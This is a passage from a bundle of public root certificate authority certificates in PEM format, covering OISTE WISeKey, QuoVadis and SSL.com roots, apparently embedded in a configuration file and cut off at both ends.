      Nc1MaRVUGpCY3useX8p3x8uOPUNpnJpY0CQ73xtAln41rYHHTnG6iBM=
      -----END CERTIFICATE-----

      # OISTE WISeKey Global Root GC CA
      -----BEGIN CERTIFICATE-----
      MIICaTCCAe+gAwIBAgIQISpWDK7aDKtARb8roi066jAKBggqhkjOPQQDAzBtMQsw
      CQYDVQQGEwJDSDEQMA4GA1UEChMHV0lTZUtleTEiMCAGA1UECxMZT0lTVEUgRm91
      bmRhdGlvbiBFbmRvcnNlZDEoMCYGA1UEAxMfT0lTVEUgV0lTZUtleSBHbG9iYWwg
      Um9vdCBHQyBDQTAeFw0xNzA1MDkwOTQ4MzRaFw00MjA1MDkwOTU4MzNaMG0xCzAJ
      BgNVBAYTAkNIMRAwDgYDVQQKEwdXSVNlS2V5MSIwIAYDVQQLExlPSVNURSBGb3Vu
      ZGF0aW9uIEVuZG9yc2VkMSgwJgYDVQQDEx9PSVNURSBXSVNlS2V5IEdsb2JhbCBS
      b290IEdDIENBMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAETOlQwMYPchi82PG6s4ni
      eUqjFqdrVCTbUf/q9Akkwwsin8tqJ4KBDdLArzHkdIJuyiXZjHWd8dvQmqJLIX4W
      p2OQ0jnUsYd4XxiWD1AbNTcPasbc2RNNpI6QN+a9WzGRo1QwUjAOBgNVHQ8BAf8E
      BAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUSIcUrOPDnpBgOtfKie7T
      rYy0UGYwEAYJKwYBBAGCNxUBBAMCAQAwCgYIKoZIzj0EAwMDaAAwZQIwJsdpW9zV
      57LnyAyMjMPdeYwbY9XJUpROTYJKcx6ygISpJcBMWm1JKWB4E+J+SOtkAjEA2zQg
      Mgj/mkkCtojeFK9dbJlxjRo/i9fgojaGHAeCOnZT/cKi7e97sIBPWA9LUzm9
      -----END CERTIFICATE-----

      # QuoVadis Root CA 1 G3
      -----BEGIN CERTIFICATE-----
      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
      -----END CERTIFICATE-----

      # QuoVadis Root CA 2
      -----BEGIN CERTIFICATE-----
      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
      8eOx79+Rj1QqCyXBJhnEUhAFZdWCEOrCMc0u
      -----END CERTIFICATE-----

      # QuoVadis Root CA 2 G3
      -----BEGIN CERTIFICATE-----
      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
      -----END CERTIFICATE-----

      # QuoVadis Root CA 3
      -----BEGIN CERTIFICATE-----
      MIIGnTCCBIWgAwIBAgICBcYwDQYJKoZIhvcNAQEFBQAwRTELMAkGA1UEBhMCQk0x
      GTAXBgNVBAoTEFF1b1ZhZGlzIExpbWl0ZWQxGzAZBgNVBAMTElF1b1ZhZGlzIFJv
      b3QgQ0EgMzAeFw0wNjExMjQxOTExMjNaFw0zMTExMjQxOTA2NDRaMEUxCzAJBgNV
      BAYTAkJNMRkwFwYDVQQKExBRdW9WYWRpcyBMaW1pdGVkMRswGQYDVQQDExJRdW9W
      YWRpcyBSb290IENBIDMwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDM
      V0IWVJzmmNPTTe7+7cefQzlKZbPoFog02w1ZkXTPkrgEQK0CSzGrvI2RaNggDhoB
      4hp7Thdd4oq3P5kazethq8Jlph+3t723j/z9cI8LoGe+AaJZz3HmDyl2/7FWeUUr
      H556VOijKTVopAFPD6QuN+8bv+OPEKhyq1hX51SGyMnzW9os2l2ObjyjPtr7guXd
      8lyyBTNvijbO0BNO/79KDDRMpsMhvVAEVeuxu537RR5kFd5VAYwCdrXLoT9Cabwv
      vWhDFlaJKjdhkf2mrk7AyxRllDdLkgbvBNDInIjbC3uBr7E9KsRlOni27tyAsdLT
      mZw67mtaa7ONt9XOnMK+pUsvFrGeaDsGb659n/je7Mwpp5ijJUMv7/FfJuGITfhe
      btfZFG4ZM2mnO4SJk8RTVROhUXhA+LjJou57ulJCg54U7QVSWllWp5f8nT8KKdjc
      T5EOE7zelaTfi5m+rJsziO+1ga8bxiJTyPbH7pcUsMV8eFLI8M5ud2CEpukqdiDt
      WAEXMJPpGovgc2PZapKUSU60rUqFxKMiMPwJ7Wgic6aIDFUhWMXhOp8q3crhkODZ
      c6tsgLjoC2SToJyMGf+z0gzskSaHirOi4XCPLArlzW1oUevaPwV/izLmE1xr/l9A
      4iLItLRkT9a6fUg+qGkM17uGcclzuD87nSVL2v9A6wIDAQABo4IBlTCCAZEwDwYD
      VR0TAQH/BAUwAwEB/zCB4QYDVR0gBIHZMIHWMIHTBgkrBgEEAb5YAAMwgcUwgZMG
      CCsGAQUFBwICMIGGGoGDQW55IHVzZSBvZiB0aGlzIENlcnRpZmljYXRlIGNvbnN0
      aXR1dGVzIGFjY2VwdGFuY2Ugb2YgdGhlIFF1b1ZhZGlzIFJvb3QgQ0EgMyBDZXJ0
      aWZpY2F0ZSBQb2xpY3kgLyBDZXJ0aWZpY2F0aW9uIFByYWN0aWNlIFN0YXRlbWVu
      dC4wLQYIKwYBBQUHAgEWIWh0dHA6Ly93d3cucXVvdmFkaXNnbG9iYWwuY29tL2Nw
      czALBgNVHQ8EBAMCAQYwHQYDVR0OBBYEFPLAE+CCQz777i9nMpY1XNu4ywLQMG4G
      A1UdIwRnMGWAFPLAE+CCQz777i9nMpY1XNu4ywLQoUmkRzBFMQswCQYDVQQGEwJC
      TTEZMBcGA1UEChMQUXVvVmFkaXMgTGltaXRlZDEbMBkGA1UEAxMSUXVvVmFkaXMg
      Um9vdCBDQSAzggIFxjANBgkqhkiG9w0BAQUFAAOCAgEAT62gLEz6wPJv92ZVqyM0
      7ucp2sNbtrCD2dDQ4iH782CnO11gUyeim/YIIirnv6By5ZwkajGxkHon24QRiSem
      d1o417+shvzuXYO8BsbRd2sPbSQvS3pspweWyuOEn62Iix2rFo1bZhfZFvSLgNLd
      +LJ2w/w4E6oM3kJpK27zPOuAJ9v1pkQNn1pVWQvVDVJIxa6f8i+AxeoyUDUSly7B
      4f/xI4hROJ/yZlZ25w9Rl6VSDE1JUZU2Pb+iSwwQHYaZTKrzchGT5Or2m9qoXadN
      t54CrnMAyNojA+j56hl0YgCUyyIgvpSnWbWCar6ZeXqp8kokUvd0/bpO5qgdAm6x
      DYBEwa7TIzdfu4V8K5Iu6H6li92Z4b8nby1dqnuH/grdS/yO9SbkbnBCbjPsMZ57
      k8HkyWkaPcBrTiJt7qtYTcbQQcEr6k8Sh17rRdhs9ZgC06DYVYoGmRmioHfRMJ6s
      zHXug/WwYjnPbFfiTNKRCw51KBuav/0aQ/HKd/s7j2G4aSgWQgRecCocIdiP4b0j
      Wy10QJLZYxkNc91pvGJHvOB0K7Lrfb5BG7XARsWhIstfTsEokt4YutUqKLsRixeT
      mJlglFwjz1onl14LBQaTNx47aTbrqZ5hHY8y2o4M1nQ+ewkk2gF3R8Q7zTSMmfXK
      4SVhM7JZG+Ju1zdXtg2pEto=
      -----END CERTIFICATE-----

      # QuoVadis Root CA 3 G3
      -----BEGIN CERTIFICATE-----
      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
      -----END CERTIFICATE-----

      # SSL.com EV Root Certification Authority ECC
      -----BEGIN CERTIFICATE-----
      MIIClDCCAhqgAwIBAgIILCmcWxbtBZUwCgYIKoZIzj0EAwIwfzELMAkGA1UEBhMC
      VVMxDjAMBgNVBAgMBVRleGFzMRAwDgYDVQQHDAdIb3VzdG9uMRgwFgYDVQQKDA9T
      U0wgQ29ycG9yYXRpb24xNDAyBgNVBAMMK1NTTC5jb20gRVYgUm9vdCBDZXJ0aWZp
      Y2F0aW9uIEF1dGhvcml0eSBFQ0MwHhcNMTYwMjEyMTgxNTIzWhcNNDEwMjEyMTgx
      NTIzWjB/MQswCQYDVQQGEwJVUzEOMAwGA1UECAwFVGV4YXMxEDAOBgNVBAcMB0hv
      dXN0b24xGDAWBgNVBAoMD1NTTCBDb3Jwb3JhdGlvbjE0MDIGA1UEAwwrU1NMLmNv
      bSBFViBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IEVDQzB2MBAGByqGSM49
      AgEGBSuBBAAiA2IABKoSR5CYG/vvw0AHgyBO8TCCogbR8pKGYfL2IWjKAMTH6kMA
      VIbc/R/fALhBYlzccBYy3h+Z1MzFB8gIH2EWB1E9fVwHU+M1OIzfzZ/ZLg1Kthku
      WnBaBu2+8KGwytAJKaNjMGEwHQYDVR0OBBYEFFvKXuXe0oGqzagtZFG22XKbl+ZP
      MA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAUW8pe5d7SgarNqC1kUbbZcpuX
      5k8wDgYDVR0PAQH/BAQDAgGGMAoGCCqGSM49BAMCA2gAMGUCMQCK5kCJN+vp1RPZ
      ytRrJPOwPYdGWBrssd9v+1a6cGvHOMzosYxPD/fxZ3YOg9AeUY8CMD32IygmTMZg
      h5Mmm7I1HrrW9zzRHM76JTymGoEVW/MSD2zuZYrJh6j5B+BimoxcSg==
      -----END CERTIFICATE-----

      # SSL.com EV Root Certification Authority RSA R2
      -----BEGIN CERTIFICATE-----
      MIIF6zCCA9OgAwIBAgIIVrYpzTS8ePYwDQYJKoZIhvcNAQELBQAwgYIxCzAJBgNV
      BAYTAlVTMQ4wDAYDVQQIDAVUZXhhczEQMA4GA1UEBwwHSG91c3RvbjEYMBYGA1UE
      CgwPU1NMIENvcnBvcmF0aW9uMTcwNQYDVQQDDC5TU0wuY29tIEVWIFJvb3QgQ2Vy
      dGlmaWNhdGlvbiBBdXRob3JpdHkgUlNBIFIyMB4XDTE3MDUzMTE4MTQzN1oXDTQy
      MDUzMDE4MTQzN1owgYIxCzAJBgNVBAYTAlVTMQ4wDAYDVQQIDAVUZXhhczEQMA4G
      A1UEBwwHSG91c3RvbjEYMBYGA1UECgwPU1NMIENvcnBvcmF0aW9uMTcwNQYDVQQD
      DC5TU0wuY29tIEVWIFJvb3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgUlNBIFIy
      MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAjzZlQOHWTcDXtOlG2mvq
      M0fNTPl9fb69LT3w23jhhqXZuglXaO1XPqDQCEGD5yhBJB/jchXQARr7XnAjssuf
      OePPxU7Gkm0mxnu7s9onnQqG6YE3Bf7wcXHswxzpY6IXFJ3vG2fThVUCAtZJycxa
      4bH3bzKfydQ7iEGonL3Lq9ttewkfokxykNorCPzPPFTOZw+oz12WGQvE43LrrdF9
      HSfvkusQv1vrO6/PgN3B0pYEW3p+pKk8OHakYo6gOV7qd89dAFmPZiw+B6KjBSYR
      aZfqhbcPlgtLyEDhULouisv3D5oi53+aNxPN8k0TayHRwMwi8qFG9kRpnMphNQcA
      b9ZhCBHqurj26bNg5U257J8UZslXWNvNh2n4ioYSA0e/ZhN2rHd9NCSFg83XqpyQ
      Gp8hLH94t2S42Oim9HizVcuE0jLEeK6jj2HdzghTreyI/BXkmg3mnxp3zkyPuBQV
      PWKchjgGAGYS5Fl2WlPAApiiECtoRHuOec4zSnaqW4EWG7WK2NAAe15itAnWhmMO
      pgWVSbooi4iTsjQc2KRVbrcc0N6ZVTsj9CLg+SlmJuwgUHfbSguPvuUCYHBBXtSu
      UDkiFCbLsjtzdFVHB3mBOagwE0TlBIqulhMlQg+5U8Sb/M3kHN48+qvWBkofZ6aY
      MBzdLNvcGJVXZsb/XItW9XcCAwEAAaNjMGEwDwYDVR0TAQH/BAUwAwEB/zAfBgNV
      HSMEGDAWgBT5YLvU49U09rj1BoAlp3PbRmmonjAdBgNVHQ4EFgQU+WC71OPVNPa4
      9QaAJadz20ZpqJ4wDgYDVR0PAQH/BAQDAgGGMA0GCSqGSIb3DQEBCwUAA4ICAQBW
      s47LCp1Jjr+kxJG7ZhcFUZh1++VQLHqe8RT6q9OKPv+RKY9ji9i0qVQBDb6Thi/5
      Sm3HXvVX+cpVHBK+Rw82xd9qt9t1wkclf7nxY/hoLVUE0fKNsKTPvDxeH3jnpaAg
      cLAExbf3cqfeIg29MyVGjGSSJuM+LmOW2puMPfgYCdcDzH2GguDKBAdRUNf/ktUM
      79qGn5nX67evaOI5JpS6aLe/g9Pqemc9YmeuJeVy6OLk7K4S9ksrPJ/psEDzOFSz
      /bdoyNrGj1E8svuR3Bznm53htw1yj+KkxKl4+esUrMZDBcJlOSgYAsOCsp0FvmXt
      ll9ldDz7CTUue5wT/RsPXcdtgTpWD8w74a8CLyKsRspGPKAcTNZEtF4uXBVmCeEm
      Kf7GUmG6sXP/wwyc5WxqlD8UykAWlYTzWamsX0xhk23RO8yilQwipmdnRC652dKK
      QbNmC1r7fSOl8hqw/96bg5Qu0T/fkreRrwU7ZcegbLHNYhLDkBvjJc40vG93drEQ
      w/cFGsDWr3RiSBd3kmmQYRzelYB0VI8YHMPzA9C/pEN1hlMYegouCRw2n5H9gooi
      S9EOUCXdywMMF8mDAAhONU2Ki+3wApRmLER/y5UnlhetCTCstnEXbosX9hwJ1C07
      mKVx01QT2WDz9UtmT/rx7iASjbSsV7FFY6GsdqnC+w==
      -----END CERTIFICATE-----

      # SSL.com Root Certification Authority ECC
      -----BEGIN CERTIFICATE-----
      MIICjTCCAhSgAwIBAgIIdebfy8FoW6gwCgYIKoZIzj0EAwIwfDELMAkGA1UEBhMC
      VVMxDjAMBgNVBAgMBVRleGFzMRAwDgYDVQQHDAdIb3VzdG9uMRgwFgYDVQQKDA9T
      U0wgQ29ycG9yYXRpb24xMTAvBgNVBAMMKFNTTC5jb20gUm9vdCBDZXJ0aWZpY2F0
      aW9uIEF1dGhvcml0eSBFQ0MwHhcNMTYwMjEyMTgxNDAzWhcNNDEwMjEyMTgxNDAz
      WjB8MQswCQYDVQQGEwJVUzEOMAwGA1UECAwFVGV4YXMxEDAOBgNVBAcMB0hvdXN0
      b24xGDAWBgNVBAoMD1NTTCBDb3Jwb3JhdGlvbjExMC8GA1UEAwwoU1NMLmNvbSBS
      b290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IEVDQzB2MBAGByqGSM49AgEGBSuB
      BAAiA2IABEVuqVDEpiM2nl8ojRfLliJkP9x6jh3MCLOicSS6jkm5BBtHllirLZXI
      7Z4INcgn64mMU1jrYor+8FsPazFSY0E7ic3s7LaNGdM0B9y7xgZ/wkWV7Mt/qCPg
      CemB+vNH06NjMGEwHQYDVR0OBBYEFILRhXMw5zUE044CkvvlpNHEIejNMA8GA1Ud
      EwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAUgtGFczDnNQTTjgKS++Wk0cQh6M0wDgYD
      VR0PAQH/BAQDAgGGMAoGCCqGSM49BAMCA2cAMGQCMG/n61kRpGDPYbCWe+0F+S8T
      kdzt5fxQaxFGRrMcIQBiu77D5+jNB5n5DQtdcj7EqgIwH7y6C+IwJPt8bYBVCpk+
      gA0z5Wajs6O7pdWLjwkspl1+4vAHCGht0nxpbl/f5Wpl
      -----END CERTIFICATE-----

      # SSL.com Root Certification Authority RSA
      -----BEGIN CERTIFICATE-----
      MIIF3TCCA8WgAwIBAgIIeyyb0xaAMpkwDQYJKoZIhvcNAQELBQAwfDELMAkGA1UE
      BhMCVVMxDjAMBgNVBAgMBVRleGFzMRAwDgYDVQQHDAdIb3VzdG9uMRgwFgYDVQQK
